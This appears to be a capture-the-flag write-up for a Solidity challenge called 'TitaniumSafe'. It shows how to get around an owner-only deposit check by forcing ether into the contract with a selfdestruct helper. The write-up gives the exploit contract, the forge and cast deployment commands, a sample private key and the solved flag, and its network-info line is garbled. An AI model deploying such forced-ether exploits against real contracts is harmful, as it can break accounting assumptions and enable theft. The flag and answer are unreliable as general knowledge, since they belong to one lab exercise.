Name: Titanium Safe
ID: TitaniumSafe
Flag format: MCTF25{...}
Network info:
http://10.240.2.53:85458545313370x30309713619205641579b59b6F60F37F2B4c22770x657B798B912fd353b0aB4dC80e6aC27CB22f97dCChallenge manager (TCP):
nc 10.240.2.53 31337
Welcome to the KiB Blockchain Challenge Manager
Challenge ID: TitaniumSafe
Commands: info | reset | flag | fund <address> [eth]
The provided Solidity contract (simplified):
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract TitaniumSafe {
address public immutable deployer;
constructor() {
deployer = msg.sender;
}
function deposit() external payable {
require(msg.sender == deployer, "only owner can deposit");
}
function isSolved() external view returns (bool) {
return address(this).balance >= 1 ether;
}
}
deployer is set in the constructor to msg.sender at deployment time.deposit() can only be called successfully by the deployer.The challenge is considered solved when:
address(this).balance >= 1 ether
receive() or fallback() function, so a normal ETH transfer to the contract (e.g. via transfer / call{value:}) will revert.Since we are not the deployer (deployer is fixed to the address in the challenge info), we cannot use deposit() to send ETH to the contract.
However, a contract’s balance can still be increased without calling any of its functions using selfdestruct from another contract.
Even though the contract tries to restrict who can deposit, it overlooks that any other contract can “force” ether into it via the selfdestruct opcode:
selfdestruct(address payable target);
When a contract executes selfdestruct(target):
target.require checks in deposit() are triggered, and no receive/fallback is needed.So we just need a helper contract that:
If we send 1 ether with that contract creation transaction, the TitaniumSafe contract’s balance will be ≥ 1 ETH, and isSolved() will return true.
We create a tiny exploit contract:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract Exploit {
constructor(address payable target) payable {
selfdestruct(target);
}
}
target = address of the TitaniumSafe contract.payable, so we can send 1 ETH on deployment.selfdestruct(target); which sends all ETH to target.forge for compilation.cast for chain interactions.Generate a new keypair:
cast wallet new
Output (example):
Successfully created new keypair.
Address: 0x71b4ef1D01ef85241Eb7A7014A1Af4570aB0e0c5
Private key: 0xb7ad16679288448598a89ca58b72ef61e5b5f173194b343a7e6e4748c0b360b6
Export the private key and set RPC URL:
export RPC_URL=http://10.240.2.53:8545
export PRIVATE_KEY=0xb7ad16679288448598a89ca58b72ef61e5b5f173194b343a7e6e4748c0b360b6
MYADDR=0x71b4ef1D01ef85241Eb7A7014A1Af4570aB0e0c5
Fund this address using the challenge manager:
nc 10.240.2.53 31337
> fund 0x71b4ef1D01ef85241Eb7A7014A1Af4570aB0e0c5 2
Then check the balance:
cast balance $MYADDR --rpc-url $RPC_URL
# should be >= 1 ether
Set the safe address from challenge info:
export SAFE=0x30309713619205641579b59b6F60F37F2B4c2277
mkdir -p ~/titanium-safe
cd ~/titanium-safe
forge init --no-commit .
mkdir -p src
Create src/Exploit.sol:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract Exploit {
constructor(address payable target) payable {
selfdestruct(target);
}
}
Build the project:
forge build
ExploitWe use forge inspect to obtain the creation bytecode:
BYTECODE=$(forge inspect src/Exploit.sol:Exploit bytecode)
You can quickly verify:
echo $BYTECODE | head -c 10
# should start with 0x60...
Exploit with 1 ETH and selfdestruct into TitaniumSafeWe use cast send --create to deploy the contract and send 1 ETH in the same transaction:
cast send --rpc-url $RPC_URL --private-key $PRIVATE_KEY --value 1ether --create "$BYTECODE" "constructor(address)" $SAFE
What happens in this transaction:
Exploit is created with value = 1 ether.target = SAFE.selfdestruct(target);.TitaniumSafe (SAFE address).TitaniumSafe’s balance becomes ≥ 1 ETH.Check the contract’s balance (optional):
cast balance $SAFE --rpc-url $RPC_URL
Then call isSolved():
cast call $SAFE "isSolved()(bool)" --rpc-url $RPC_URL
# Expected: true
If true, we’ve satisfied the on-chain requirement.
Use the challenge manager again:
nc 10.240.2.53 31337
> flag
The service now detects that isSolved() is true and returns the flag:
MCTF25{c4rb1d3_cut5_t1t@n1um}